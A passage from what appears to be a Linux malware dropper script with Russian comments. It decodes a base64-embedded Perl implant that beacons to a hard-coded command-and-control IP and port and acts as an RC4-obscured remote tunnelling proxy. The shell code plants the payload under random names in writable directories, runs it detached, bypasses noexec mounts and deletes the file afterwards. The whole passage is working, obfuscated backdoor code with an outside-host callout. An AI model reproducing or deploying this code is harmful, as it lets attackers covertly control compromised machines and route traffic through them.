Y3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_47d9b757() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTcnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7C